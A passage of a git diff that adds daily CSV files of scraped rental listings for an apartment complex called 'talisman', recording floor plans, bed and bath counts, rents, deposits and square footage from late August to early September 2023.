(2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230829,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230829,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,161",$300,1140 - 1185 sq.ft.,None,N/A +20230829,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230829,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230829,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230829,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230829,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230829,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230829,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230829,talisman,D1 (3x2),3 Bed 2 Bath,"$3,422",$300,1241 - 1362 sq.ft.,None,N/A +20230829,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230829,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230829,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230830.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230830.csv new file mode 100644 index 00000000000..57a027ba4b7 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230830.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230830,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230830,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230830,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230830,talisman,A1 (1x1),1 Bed 1 Bath,"$1,961",$300,604 - 671 sq.ft.,None,N/A +20230830,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230830,talisman,A3 (1x1),1 Bed 1 Bath,"$2,041",$300,609 - 642 sq.ft.,None,N/A +20230830,talisman,A2 (1x1),1 Bed 1 Bath,"$2,011",$300,617 - 715 sq.ft.,None,N/A +20230830,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230830,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230830,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230830,talisman,B5 (1x1),1 Bed 1 Bath,"$2,250",$300,674 - 775 sq.ft.,None,N/A +20230830,talisman,B2 (1x1),1 Bed 1 Bath,"$2,320",$300,706 - 739 sq.ft.,None,N/A +20230830,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230830,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230830,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,531",$300,745 - 828 sq.ft.,None,N/A +20230830,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230830,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230830,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230830,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230830,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230830,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230830,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230830,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230830,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230830,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230830,talisman,CL6 (2x2),2 Bed 2 Bath,"$2,901",$300,890 - 945 sq.ft.,None,N/A +20230830,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230830,talisman,C5 (2x2),2 Bed 2 Bath,"$2,912",$300,934 - 984 sq.ft.,None,N/A +20230830,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230830,talisman,C1 (2x2),2 Bed 2 Bath,"$3,288",$300,1029 - 1294 sq.ft.,None,N/A +20230830,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230830,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230830,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,161",$300,1140 - 1185 sq.ft.,None,N/A +20230830,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230830,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230830,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230830,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230830,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230830,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230830,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230830,talisman,D1 (3x2),3 Bed 2 Bath,"$3,422",$300,1241 - 1362 sq.ft.,None,N/A +20230830,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230830,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230830,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230831.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230831.csv new file mode 100644 index 00000000000..d83503fecbf --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230831.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230831,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230831,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230831,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230831,talisman,A1 (1x1),1 Bed 1 Bath,"$1,961",$300,604 - 671 sq.ft.,None,N/A +20230831,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230831,talisman,A3 (1x1),1 Bed 1 Bath,"$2,041",$300,609 - 642 sq.ft.,None,N/A +20230831,talisman,A2 (1x1),1 Bed 1 Bath,"$2,011",$300,617 - 715 sq.ft.,None,N/A +20230831,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230831,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230831,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230831,talisman,B5 (1x1),1 Bed 1 Bath,"$2,250",$300,674 - 775 sq.ft.,None,N/A +20230831,talisman,B2 (1x1),1 Bed 1 Bath,"$2,320",$300,706 - 739 sq.ft.,None,N/A +20230831,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230831,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230831,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,531",$300,745 - 828 sq.ft.,None,N/A +20230831,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230831,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230831,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230831,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230831,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230831,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230831,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230831,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230831,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230831,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230831,talisman,CL6 (2x2),2 Bed 2 Bath,"$2,901",$300,890 - 945 sq.ft.,None,N/A +20230831,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230831,talisman,C5 (2x2),2 Bed 2 Bath,"$2,912",$300,934 - 984 sq.ft.,None,N/A +20230831,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230831,talisman,C1 (2x2),2 Bed 2 Bath,"$3,288",$300,1029 - 1294 sq.ft.,None,N/A +20230831,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230831,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230831,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,161",$300,1140 - 1185 sq.ft.,None,N/A +20230831,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230831,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230831,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230831,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230831,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230831,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230831,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230831,talisman,D1 (3x2),3 Bed 2 Bath,"$3,422",$300,1241 - 1362 sq.ft.,None,N/A +20230831,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230831,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230831,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230901.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230901.csv new file mode 100644 index 00000000000..de9f8d2d740 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230901.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230901,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230901,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230901,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230901,talisman,A1 (1x1),1 Bed 1 Bath,"$1,961",$300,604 - 671 sq.ft.,None,N/A +20230901,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230901,talisman,A3 (1x1),1 Bed 1 Bath,"$2,041",$300,609 - 642 sq.ft.,None,N/A +20230901,talisman,A2 (1x1),1 Bed 1 Bath,"$2,011",$300,617 - 715 sq.ft.,None,N/A +20230901,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230901,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230901,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230901,talisman,B5 (1x1),1 Bed 1 Bath,"$2,250",$300,674 - 775 sq.ft.,None,N/A +20230901,talisman,B2 (1x1),1 Bed 1 Bath,"$2,320",$300,706 - 739 sq.ft.,None,N/A +20230901,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230901,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230901,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,531",$300,745 - 828 sq.ft.,None,N/A +20230901,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230901,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230901,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230901,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230901,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230901,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230901,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230901,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230901,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230901,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230901,talisman,CL6 (2x2),2 Bed 2 Bath,"$2,901",$300,890 - 945 sq.ft.,None,N/A +20230901,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230901,talisman,C5 (2x2),2 Bed 2 Bath,"$2,912",$300,934 - 984 sq.ft.,None,N/A +20230901,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230901,talisman,C1 (2x2),2 Bed 2 Bath,"$3,288",$300,1029 - 1294 sq.ft.,None,N/A +20230901,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230901,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230901,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,161",$300,1140 - 1185 sq.ft.,None,N/A +20230901,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230901,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230901,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230901,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230901,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230901,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230901,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230901,talisman,D1 (3x2),3 Bed 2 Bath,"$3,422",$300,1241 - 1362 sq.ft.,None,N/A +20230901,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230901,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230901,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230902.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230902.csv new file mode 100644 index 00000000000..9966125fd74 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230902.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230902,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230902,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230902,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230902,talisman,A1 (1x1),1 Bed 1 Bath,"$1,860",$300,604 - 671 sq.ft.,None,N/A +20230902,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230902,talisman,A3 (1x1),1 Bed 1 Bath,"$1,940",$300,609 - 642 sq.ft.,None,N/A +20230902,talisman,A2 (1x1),1 Bed 1 Bath,"$1,910",$300,617 - 715 sq.ft.,None,N/A +20230902,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230902,talisman,A6 (1x1),1 Bed 1 Bath,"$1,905",$300,650 sq.ft.,None,N/A +20230902,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230902,talisman,B5 (1x1),1 Bed 1 Bath,"$2,250",$300,674 - 775 sq.ft.,None,N/A +20230902,talisman,B2 (1x1),1 Bed 1 Bath,"$2,320",$300,706 - 739 sq.ft.,None,N/A +20230902,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230902,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230902,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,531",$300,745 - 828 sq.ft.,None,N/A +20230902,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230902,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230902,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230902,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230902,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230902,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230902,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230902,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230902,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230902,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230902,talisman,CL6 (2x2),2 Bed 2 Bath,"$2,901",$300,890 - 945 sq.ft.,None,N/A +20230902,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230902,talisman,C5 (2x2),2 Bed 2 Bath,"$2,912",$300,934 - 984 sq.ft.,None,N/A +20230902,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230902,talisman,C1 (2x2),2 Bed 2 Bath,"$3,297",$300,1029 - 1294 sq.ft.,None,N/A +20230902,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230902,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230902,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,161",$300,1140 - 1185 sq.ft.,None,N/A +20230902,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230902,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230902,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230902,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230902,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230902,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230902,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230902,talisman,D1 (3x2),3 Bed 2 Bath,"$3,422",$300,1241 - 1362 sq.ft.,None,N/A +20230902,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230902,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230902,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230903.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230903.csv new file mode 100644 index 00000000000..e331d7f9425 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230903.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230903,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230903,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230903,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230903,talisman,A1 (1x1),1 Bed 1 Bath,"$1,860",$300,604 - 671 sq.ft.,None,N/A +20230903,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230903,talisman,A3 (1x1),1 Bed 1 Bath,"$1,940",$300,609 - 642 sq.ft.,None,N/A +20230903,talisman,A2 (1x1),1 Bed 1 Bath,"$1,910",$300,617 - 715 sq.ft.,None,N/A +20230903,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230903,talisman,A6 (1x1),1 Bed 1 Bath,"$1,905",$300,650 sq.ft.,None,N/A +20230903,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230903,talisman,B5 (1x1),1 Bed 1 Bath,"$2,250",$300,674 - 775 sq.ft.,None,N/A +20230903,talisman,B2 (1x1),1 Bed 1 Bath,"$2,320",$300,706 - 739 sq.ft.,None,N/A +20230903,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230903,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230903,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,531",$300,745 - 828 sq.ft.,None,N/A +20230903,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230903,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230903,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230903,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230903,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230903,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230903,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230903,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230903,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230903,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230903,talisman,CL6 (2x2),2 Bed 2 Bath,"$2,901",$300,890 - 945 sq.ft.,None,N/A +20230903,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230903,talisman,C5 (2x2),2 Bed 2 Bath,"$2,903",$300,934 - 984 sq.ft.,None,N/A +20230903,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230903,talisman,C1 (2x2),2 Bed 2 Bath,"$3,288",$300,1029 - 1294 sq.ft.,None,N/A +20230903,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230903,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230903,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,161",$300,1140 - 1185 sq.ft.,None,N/A +20230903,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230903,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230903,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230903,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230903,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230903,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230903,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230903,talisman,D1 (3x2),3 Bed 2 Bath,"$3,413",$300,1241 - 1362 sq.ft.,None,N/A +20230903,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230903,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230903,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230904.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230904.csv new file mode 100644 index 00000000000..b50e38687ca --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230904.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230904,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230904,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230904,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230904,talisman,A1 (1x1),1 Bed 1 Bath,"$1,860",$300,604 - 671 sq.ft.,None,N/A +20230904,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230904,talisman,A3 (1x1),1 Bed 1 Bath,"$1,940",$300,609 - 642 sq.ft.,None,N/A +20230904,talisman,A2 (1x1),1 Bed 1 Bath,"$1,910",$300,617 - 715 sq.ft.,None,N/A +20230904,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230904,talisman,A6 (1x1),1 Bed 1 Bath,"$1,905",$300,650 sq.ft.,None,N/A +20230904,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230904,talisman,B5 (1x1),1 Bed 1 Bath,"$2,250",$300,674 - 775 sq.ft.,None,N/A +20230904,talisman,B2 (1x1),1 Bed 1 Bath,"$2,320",$300,706 - 739 sq.ft.,None,N/A +20230904,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230904,talisman,A5 (1x1),1 Bed 1 